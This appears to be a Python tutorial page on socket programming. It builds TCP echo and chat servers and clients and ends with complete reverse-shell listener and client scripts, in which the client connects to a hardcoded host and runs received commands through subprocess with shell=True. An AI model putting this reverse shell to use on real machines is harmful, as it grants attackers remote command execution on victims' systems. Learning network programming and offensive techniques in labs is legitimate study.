TCP Server / Client
Python TCP Server using sockets.
Socket programming
Socket programming is needed for network communication and data exchange. We can use Python's socket module for this.
socket()
Creates a new socket object (can be TCP or UDP).
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bind()
Binds the socket to an IP address and port (for servers).
s.bind(("0.0.0.0", 8080))
listen()
Puts the socket in listening mode to accept connections (for servers).
s.listen(5)
accept()
Waits for an incoming connection and returns a new socket and client address.
conn, addr = s.accept()
(conn is used to communicate.)
connect()
Connects the socket to a remote server (for clients).
s.connect(("172.16.1.119", 80))
send()
Sends data through the socket.
s.send(b"Hello")
recv()
Receives data from the socket.
data = s.recv(1024)
close()
Closes the socket connection.
s.close()
Creating a TCP socket
Creating a TCP socket is done with. AF_INET
is IPv4 address and SOCK_STREAM
is TCP, these arguments are constants. We can use with
so we dont have to use close()
# Saving the socket into a variable
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Using with to close socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
We then use bind to associate the socket with our host and port with a tuple. If host is an empty string it will accept all connections.
server.bind((HOST, PORT))
Then we start to listen and accept incoming connections in new object conn
. Where addr
is the ip and port from target.
server.listen(5)
In this case we will make a function to receive and send a message. The call the function in a new thread.
def handle_client(client_socket):
message = client_socket.recv(1024)
print(f"Received message: {message.decode()}")
client_socket.send("AWK".encode())
print(f"Client address: {client_socket.getpeername()}")
client_socket.close()
Finally we create a infinite while
loop where we accept the connection and start the client_handler in a new thread.
What is a Thread?
Threading is a technique that allows a program to perform multiple operations simultaneously within a single process. A thread is the smallest unit of execution within a program, with its own stack, program counter, and local variables, but sharing memory and resources with other threads in the same process.
Threads share same memory space, unlike seperate processes.
They can execute concurrently on multi-core processors
They can improve performance for tasks that can be parallelized
#
This give us our TCP server
import socket
import threading
HOST = "10.10.14.168"
PORT = 9090
# Create server socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(5)
print(f"Listening on: {HOST}:{PORT}")
# Receive message
def handle_client(client_socket):
message = client_socket.recv(1024)
print(f"Received message: {message.decode()}")
con
# Send message back
client_socket.send("AWK".encode())
print(f"Client address: {client_socket.getpeername()}")
client_socket.close()
while True:
conn, addr = server.accept()
print(f"Connection accepted from: {addr[0]}:{addr[1]}")
client_handler = threading.Thread(target=handle_client, args=(conn,))
client_handler.start()
If we would work with only 1 connection and dont need threading.
import socket
HOST = "10.10.14.168"
PORT = 8080
# Setup socket object
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: # IPV4 and TCP socket object.
server.bind((HOST, PORT)) # Bind to host
server.listen(5) # Max 5 connections
print(f'[*] Listening on {HOST}:{PORT}')
conn, addr = server.accept() # New socket object as tuple.
print(f'[*] Listening on {HOST}:{PORT}')
with conn:
print(f"Testing connection from {addr}")
while True: # Infinite loop until broken
data = conn.recv(1024) # 1024 bytes data from client
if not data: # If no data received = False. Closes connection.
break
conn.sendall(data) # Data send to client.
And our TCP Client
import socket
HOST = "10.10.14.168"
PORT = 9090
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
server.connect((HOST, PORT))
# Send some data
server.send("Hello".encode())
# Receive some data
message = server.recv(1024)
print(f"Received message: {message.decode()}")
TCP server with chat
After making our tcp server and client which echoes a string. Lets make our program interactive so we can chat back and forth.
We start with writing our socket object again.
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
server.bind((HOST, PORT))
server.listen(5)
print(f'[*] Listening on {HOST}:{PORT}')
Then we create an infinite loop which will always accept new connections. Accepting a new connection we creata a new thread within a process, specify the function handle_client
with the conn
argument.
while True:
conn, addr = server.accept()
print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')
client_handler = threading.Thread(target=handle_client, args=(conn,))
client_handler.start()
We then create the handle_client function. Using with
it will close the socket
if functions exits. Then another while loop where we break the function if the request is empty.
def handle_client(client_socket):
with client_socket as sock: # closes socket if functions exits
while True:
request = sock.recv(1024) # Store data up to 1024 bytes.
if not request:
break
print(f"[*] Received: {request.decode('utf-8')}")
response = input("Enter message: ")
sock.send(response.encode('utf-8')) # Send input from response.
This gives us our TCP chat program
import socket
import threading
HOST = "10.10.14.168" # Empty will accept all connections
PORT = 8080
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
server.bind((HOST, PORT))
server.listen(5)
print(f'[*] Listening on {HOST}:{PORT}')
while True: # Infinite loop, will always accept new connections
conn, addr = server.accept()
print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')
# Create new thread, specify function and pass client socket (conn).
client_handler = threading.Thread(target=handle_client, args=(conn,))
client_handler.start()
def handle_client(client_socket):
with client_socket as sock: # closes socket if functions exits
while True:
request = sock.recv(1024) # Store data up to 1024 bytes.
if not request:
break
print(f"[*] Received: {request.decode('utf-8')}")
response = input("Enter message: ")
sock.send(response.encode('utf-8')) # Send input from response.
if __name__ == "__main__":
main()
The client has the same elements, only added a exit function.
import socket
HOST = "10.10.14.168"
PORT = 8080
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
client.connect((HOST, PORT))
print(f'[*] Connected to {HOST}:{PORT}')
while True:
message = input("Enter message: ")
if message.lower() == 'exit': # When typing exit, closes connection
break
client.send(message.encode('utf-8'))
response = client.recv(4096)
print(f"[*] Response: {response.decode('utf-8')}")
if __name__ == "__main__":
main()
TCP Reverse Shell
We can leave our main function the same but in the handle_client function we ask for input and we end the function when 'exit' is typed.
while True:
command = input("$ ")
if command.lower() == 'exit':
break
sock.send(command.encode('utf-8'))
We save the output from our command in response and print it. If request is empty it will exit the loop.
response = sock.recv(4096)
if not response:
break
print(f"{response.decode('utf-8')}")
Complete script
import socket
import threading
HOST = "10.10.14.168" # Empty will accept all connections
PORT = 8080
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
server.bind((HOST, PORT))
server.listen(5)
print(f'[*] Listening on {HOST}:{PORT}')
while True: # Infinite loop, will always accept new connections
conn, addr = server.accept()
print(f'[*] Accepted connection from {addr[0]}:{addr[1]}')
# Create new thread, specify function and pass client socket (conn).
client_handler = threading.Thread(target=handle_client, args=(conn,))
client_handler.start()
def handle_client(client_socket):
with client_socket as sock: # closes socket if functions exits
while True:
command = input("$ ")
if command.lower() == 'exit': # Close connection if 'exit' command is given
break
sock.send(command.encode('utf-8')) # Send command to client
response = sock.recv(4096) # Receive output from client
if not response:
break
print(f"{response.decode('utf-8')}")
if __name__ == "__main__":
main()
Then the client we use a while loop again and break if request is empty or exit
is typed. We then use the subprocess module.
try:
result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = result.communicate()
output = output.decode('utf-8') + error.decode('utf-8')
except Exception as e:
output = str(e)
client.send(output.encode('utf-8'))
The subprocess module allows to run other programs and commands within python code.
subprocess.Popen()
is used to start a new process.command
: This is the command received from the server.shell=True
: Runs the command in a shell, allowing execution of shell-specific commands likels
,dir
,cd
, etc.stdout=subprocess.PIPE
: Captures the command's standard output.stderr=subprocess.PIPE
: Captures any errors from the command.
Complete client script
import socket
import subprocess
HOST = "10.10.14.168"
PORT = 8080
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
client.connect((HOST, PORT))
print(f'[*] Connected to {HOST}:{PORT}')
while True:
command = client.recv(1024).decode('utf-8') # Receive command from server
if not command:
break
if command.lower() == 'exit': # Close connection if 'exit' command is received
break
try:
result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = result.communicate()
output = output.decode('utf-8') + error.decode('utf-8')
except Exception as e:
output = str(e)
client.send(output.encode('utf-8')) # Send output back to server
if __name__ == "__main__":
main()
Last updated
Was this helpful?